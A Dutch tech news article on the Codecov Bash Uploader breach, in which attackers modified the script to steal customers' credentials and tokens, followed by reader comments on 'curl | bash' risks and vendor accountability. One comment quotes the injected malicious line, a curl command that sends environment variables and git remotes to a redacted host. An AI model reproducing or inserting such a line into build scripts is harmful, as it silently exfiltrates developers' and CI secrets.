Criminelen stalen inloggegevens van ontwikkelaars via devtool Bash Uploader

Criminele hackers hebben tussen januari en april inloggegevens buitgemaakt doordat ze toegang hadden tot devtool Bash Uploader van software-auditingbedrijf Codecov en de code van het Bash Uploader-script aanpasten. Een nog onbekend aantal klanten is hierdoor getroffen.

Codecov heeft een beveiligingslek gemeld waarbij criminelen een credential harvester hebben toegevoegd aan developertool Bash Uploader, waarmee Codecov-gebruikers rapportages kunnen sturen naar het bedrijf voor analyse. Hierbij konden criminelen inloggegevens buitmaken van een nog onbekend aantal van de 29.000 klanten van Codecov.

Codecov meldt dat de aanvaller zeker tweeënhalve maand actief gegevens heeft kunnen stelen van gebruikers, nadat hij op 31 januari toegang kreeg tot Bash Uploader. Hierbij zijn inloggegevens, tokens en sleutels buitgemaakt. Codecov ontdekte het lek op 1 april pas, nadat een klant opmerkte dat er iets niet helemaal klopte in de tool.

Onder de klanten van Codecov bevinden zich ook grote bedrijven, zoals Atlassian, P&G, GoDaddy, the Washington Post, Tile, Dollar Shave Club en Webflow. Alle klanten hebben een e-mail ontvangen met instructies voor hoe ze nu moeten handelen. Het bedrijf roept alle gebruikers op om alle inloggegevens te veranderen die ze in de afgelopen tweeënhalve maand hebben gebruikt.

Het gaat hierbij niet alleen om klanten die Bash Uploader gebruiken. Omdat Bash Uploader verweven is in andere producten van het bedrijf, denkt Codecov dat een groot aantal van zijn klanten getroffen is door het lek. Het Bash Uploader-script dat de hacker heeft aangepast, wordt onder andere gebruikt in de Codecov-actie-uploader voor GitHub, CircleCL Orb en Bitrise Step.

Amerikaanse federale onderzoekers hebben een onderzoek ingesteld naar het voorval. Zij maken zich zorgen over de omvang van het lek en trekken de vergelijking met bijvoorbeeld de Solarwinds-hack van een aantal maanden gelden, vooral omdat ontwikkelaars van zoveel grote bedrijven gebruikmaken van de tools van Codecov.

Reacties (28)

[P1nGu1n]

Dit is de desbetreffende regel die is toegevoegd en al je environment variables steelt, inclusief je CI secrets:

curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://<redacted>/upload/v2 || true

Het bash script dat wordt gedownload is overigens ruim 1800 regels lang.

[Verwijderd]

Grappig dat ik afgelopen weekend nog een verhaal hierover las:
Friends don’t let friends Curl | Bash
Nu is dit al erg lang een discussie: Moet je zomaar iets draaien dat van internet wordt gehaald?
Tegenargument: curl | bash a victimless crime?
Uiteindelijk is het allemaal afhankelijk van het vertrouwen dat je de fabrikant geeft.

[ari3]

Friends don’t let friends Curl | Bash

Precies, ik vind het ook erg vreemd dat voor zoiets als Pi Hole je als root een shell script moet downloaden en uitvoeren (https://docs.pi-hole.net/main/basic-install/). Stel je wilt PiHole op een non-privileged port draaien, dan moet je toch ook zonder root kunnen installeren? Hoe goed PiHole het ook aanbevolen wordt, ik zal het niet installeren op deze manier.

[Verwijderd]

Helemaal mee eens en daarom druk ik zaken zoals deze allemaal in docker en traefik. Dan draait het ten minste helemaal geïsoleerd en kan ik er beter toezicht op houden. Ik wil dit process nog uitbreiden met security scanning op de containers. Maar uiteindelijk zou het bronproduct natuurlijk vanaf de basis veilig moeten zijn en als user process draaien.

[McBacon]

Hoe wil je een DNS-server draaien op een non-privileged port? Volgens mij is er geen enkele client software die dit zomaar ff ondersteunt en voorzover ik weet gaat het ook tegen de richtlijnen in van het relevante RFC. Op Windows/Mac/Linux kun je voorzover ik weet geen port opgeven voor outbound DNS requests. Misschien kun je iets voor elkaar krijgen met rare firewalling/NAT maar echt veel nut heeft het niet.

Overigens vind ik "curl | bash" niet erger dan "wget -O - | tar xzvf -". Dat laatste wordt ook veel gedaan maar (bijna) niemand die dus de beschikbaar gestelde hashes even controleert. Of gewoon iets downloaden via de browser en meteen uitvoeren zonder te checken. Dit is kennelijk allemaal geen probleem, maar als het i.c.m. curl gebeurd is de kamer te klein.

[ari3]

Hoe wil je een DNS-server draaien op een non-privileged port?

Door op de router alle UDP/TCP verkeer naar poort 53 naar de non-privileged port te redirecten. Je wilt juist geen services hebben draaien op priviliged poorten vanwege de privilege-escalatie die dat met zich meebrengt.

[McBacon]

Ah zo, ik dacht te moeilijk (hoe wil je client OSes laten verbinden met de custom port).

Overigens kunnen fatsoenlijk geschreven programma's gewoon privileges droppen als ze gebonden zijn aan een port. Heb je niet eens redirections nodig. ;]

[Schway]

Een software-auditingbedrijf dat zijn eigen software niet audit.

[Ed Vertijsment]

Is het wel software auditing, codecov is toch een code coverage tool? Een hulpje voor testing?

[Schway]

Ik lees in de intro "Bash Uploader van software-auditingbedrijf Codecov" dus ga er van uit dat dit klopt.
Ik geef eerlijk toe dat ik niet bekend ben met de software-auditingbedrijf wereld en dat misschien software-auditing niet betekent wat ik denk dat het betekent (inspectie van software)

[Ed Vertijsment]

Ik werk(te) regelmatig met codecov, vandaar mijn verbazing. Ik ben niet op de hoogte (en kan nergens vinden) dat codecov audits aanbied.

Van de website zelf:

Codecov makes it easy to see absolute coverage and coverage changes overlayed with your source code, making it even easier to identify needed test areas.

[Jeffrey_KL]

Wat je denkt dat het betekent slaat de spijker op z'n kop. Ze maken inderdaad software om andere software te inspecteren. Daarin tegen hoeft dit natuurlijk geen security audit te zijn. Het is een code coverage audit in dit geval(auditen welke code door welke tests geraakt wordt)

[PieterjanDC]

Inderdaad. Analyse van code coverage is iets helemaal anders dan een anti-malware audit. Code coverage zoekt enkel naar legacy, onbereikbare code voor zover ik weet...

[Ed Vertijsment]

Daarvoor kan het gebruikt worden, in de praktijk wordt codecov volgens mij vooral gebruikt voor tests suite om te kijken welen code wordt "gecoverd" door tests.

[PieterjanDC]

Ja inderdaad, nu je t zegt

[Netrunner]

Dit maakt echt extra pijnlijk, vertrouwen zakt compleet weg. Erg jammer vind ik het wel moet ik nageven.

[Myri]

Nou, ze geven in elk geval gedetailleerd antwoord op vele vragen.
Had het mogen gebeuren? Nee.
Proberen ze het te minimaliseren? Nee
Dus, ok, vertrouwen heeft een deuk, maar als er uit geleerd wordt, dan is dat zeker ook wat waard.

[kodak]

Als je als bedrijf pas wil leren dat je je code maar beter op ongewenst aanpassen als je je klanten al slachtoffer hebt laten worden dan is dat leermoment alsnog weinig waard. Het toont een gebrek aan kennis en professionaliteit aan dat je er kennelijk liever op wilde gokken dat het wel goed ging terwijl er jaren voor gewaarschuwd is dat je code niet zomaar te vertrouwen is. Al in de vorige eeuw was duidelijk dat je het maar beter kan controleren of niemand het ongewenst aanpast omdat het kan. Dat heet ook goed software beheer. Nu pas willen leren geeft geen vertrouwen, want wat hebben ze dan nog meer niet gedaan totdat het te laat is? Ze kunnen maar beter klanten hebben die nu duidelijkheid willen wat dit bedrijf onder beheersen van risico's verstaat in plaats van te wachten tot het weer fout gaat.

[Jemboy]

Je hebt gelijk dat bedrijven professioneel dienen te werken en alles > dan 100% op orde moeten hebben.
Maar daarentegen schiet mij elke keer de spreuk te binnen: "Wie zonder zonde is, werpe de eerste steen!" (Joh. 8:7)
Ik neem aan dat jij ook professioneel bezig bent, heb jij alles in orde op het werk ?
Zoja, hebben al jouw collega's alles op orde ?
Jouw leveranciers ? Hun Leveranciers ?
Jouw klanten ? Wat als enkel klanten niet betalen of niet kunnen betalen ?

Het ontslaat een bedrijf niet om alles op orde te hebben, maar ik begrijp dat mensen/bedrijven keuzes maken die later terugbijten, want ook ik heb die keuzes bewust of onbewust moeten maken.

[Reactie gewijzigd door Jemboy op 22 juli 2024 13:32]

[Verwijderd]

Als leverancier heb je bepaalde verantwoordelijkheid, dus ja.
Om een voorbeeld te geven: Microsoft dwingt al hun partners om strenge veiligheid maatregelen door te voeren op hun Microsoft cloud omgevingen. MFA is verplicht en onveilige protocollen worden uitgeschakeld.
Uiteraard voorkom je niet alles maar beveiliging moet in hart en nieren zitten ondertussen. Als je dat besef als leverancier nog niet hebt, dan zal je daar snel achter komen. Dat blijkt wel uit de vele nieuwsberichten hier.

[Jemboy]

Of we begrijpen elkaar niet of je leeft in een utopie.
Je hoort inderdaad als leverancier je verantwoordelijkheid te nemen,
maar in de praktijk komt het bij (bijna) elk bedrijf voor dat het niet op alle gebieden zo is.
Recent voorbeeld: reisbureau geeft voucher ivm corona, maar moet geld teruggeven, maar geeft dat niet (omdat ze anders failliet gaan).

Ja je hebt gelijk, reisbureau moet zijn verantwoordelijkheid nemen en gewoon het bedrag uitkeren ipv een een voucher. Ze zijn dat wettelijk gewoon verplicht!
Maar als zij dat doen dan is het bedrijf failliet, werknemers op straat en creëer veel problemen. Zeker als de eigenaar daarbij ook privé failliet gaat en bv zijn huis moet verkopen, in de bijstand komt, etc.

Vandaar dus dat in de praktijk bedrijven dingen niet op orde hebben of doen. Maar in theorie zouden ze dat wel moeten.

P.s. bovenstaande kunnen veel mensen misschien begrijpen. Maar ik heb ook meegemaakt dat manager gestuurd werd op bonus (is al niet goed)en dus om niet over budget heen te gaan, vond dat we tot volgend jaar moeten wachten. Anders voor hem geen bonus, dus geen nieuwe auto voor de vrouw, dus boze vrouw en ruzie thuis. Manager daarboven wilde ook niet om zijn bonus niet kwijt te raken...
Puntje bij paaltje, probleem werd pas 4 maanden later opgelost (gelukkig niks ernstig gebeurd)

[Verwijderd]

Of we begrijpen elkaar niet of je leeft in een utopie.
Ik denk eerder dat ik leef in de realiteit

Je hoort inderdaad als leverancier je verantwoordelijkheid te nemen,
maar in de praktijk komt het bij (bijna) elk bedrijf voor dat het niet op alle gebieden zo is.
Recent voorbeeld: reisbureau geeft voucher ivm corona, maar moet geld teruggeven, maar geeft dat niet (omdat ze anders failliet gaan).
Misschien begrijpen we elkaar niet want ik dacht dat we over beveiliging aan het praten waren..
Maar om er toch op in te gaan: niets theorie, je krijgt gewoon geld terug dus ze moeten betalen, klaar. Als ze dat geld niet hebben dan komt de deurwaarder langs en die sluit de deuren wel voor jou. Dat is gewoon keiharde wetgeving en je kunt niet zomaar zelf even gaan bepalen welke wetgeving je gaat volgen en welke niet.... Zo werkt de rechtsstaat niet.

P.s. bovenstaande kunnen veel mensen misschien begrijpen. Maar ik heb ook meegemaakt dat manager gestuurd werd op bonus (is al niet goed)en dus om niet over budget heen te gaan, vond dat we tot volgend jaar moeten wachten. Anders voor hem geen bonus, dus geen nieuwe auto voor de vrouw, dus boze vrouw en ruzie thuis. Manager daarboven wilde ook niet om zijn bonus niet kwijt te raken...
Puntje bij paaltje, probleem werd pas 4 maanden later opgelost (gelukkig niks ernstig gebeurd)

Dit soort gedrag is gewoon illegaal en gierigheid. Geld gaat voor veiligheid en als deze persoon hiervoor 'gepakt' zou worden dan zou hem dit een grote boete opleveren.

Kijk ik weet ook wel dat er nog genoeg van zulke jokers rondlopen maar dat is ook het punt dat ik wil maken: dat kan gewoon niet meer. En als je dat niet snapt, dan val je snel door de mand want criminaliteit is al op zo'n niveau dat ze je er snel uitpikken. Als jij IT leverancier bent en je hebt je beveiliging in 2021 nog steeds niet op orde, dan ben je gewoon een groot en eenvoudig doelwit.

[kodak]

Ik stel niet dat alles maar 100% op orde kan zijn. Wat ik opmerk is dat een bedrijf dat een verantwoordelijkheid naar de klanten heeft die kennelijk niet heeft genomen. Daarbij noem ik dat ze die verantwoordelijkheid hadden kunnen nemen door eerder kennis te hebben van wat al jaren bekend is als risico. Natuurlijk valt er ook iets voor te zeggen dat anderen fouten maken (zoals software van een ander vertrouwen), maar het nieuws is nu dit bedrijf dat kennelijk malware meeleverde omdat het niet op het juiste moment aan kwaliteitscontrole deed en daar ook niet duidelijk over leek te zijn naar de mogelijke slachtoffers.

[psygarden]

dat is inderdaad al pakken beter als wat Allekabels.nl ervan bakt.

[b12e]

Daar kreeg ik recent een maitlje van waarvan ik dacht dat het door degenen die de database in handen had werd verzonden. Eerste reactie was, hoe is deze door mijn spamfilter heen gekomen.

In die mail staat volgende tekst (met de fouten 1:1 overgenomen uit de mail):

Alleen de wachtwoorden van klanten die zich voor 1
september 2018 geregistreerd hebben, kunnen worden gekraak Voor u is
het belangrijk om te weten dat het NIET om uw wachtwoord gaat.

Ik heb me geregistreerd in juli 2018, maar het gaat dus niet om mij?

Dus, vind dat Codecov het best nog netjes aanpakt allemaal. Fouten maken we allemaal, er van leren (en er goed over communiceren) doen maar sommigen.

[Reactie gewijzigd door b12e op 22 juli 2024 13:32]

[gday]

Inderdaad. Sowieso is niks 100% secure, maar het vertrouwen loopt pas écht een deuk op als een organisatie aan damage control doet door de waarheid achter te houden of zelfs te verdraaien, zoals we de afgelopen dagen hebben kunnen zien bij Allekabels. Dat was mijn go-to-webshop voor een hoop zaken, maar I’ll take my money elsewhere nu, zeg maar. Het lek kan ik ze eventueel vergeven, maar het liegen achteraf pertinent niet.

Als Codecov hiervan leert hoeft het vertrouwen wat mij betreft niet beschaamd te zijn.

[Reactie gewijzigd door gday op 22 juli 2024 13:32]

[Barryke]

Toevallig enkele uren voor dit nieuws nog aandacht besteed aan dit gevaar, fijn dat dit direct zo mooi geïllustreerd wordt. Bedankt Baader-Meinhof fenimeen!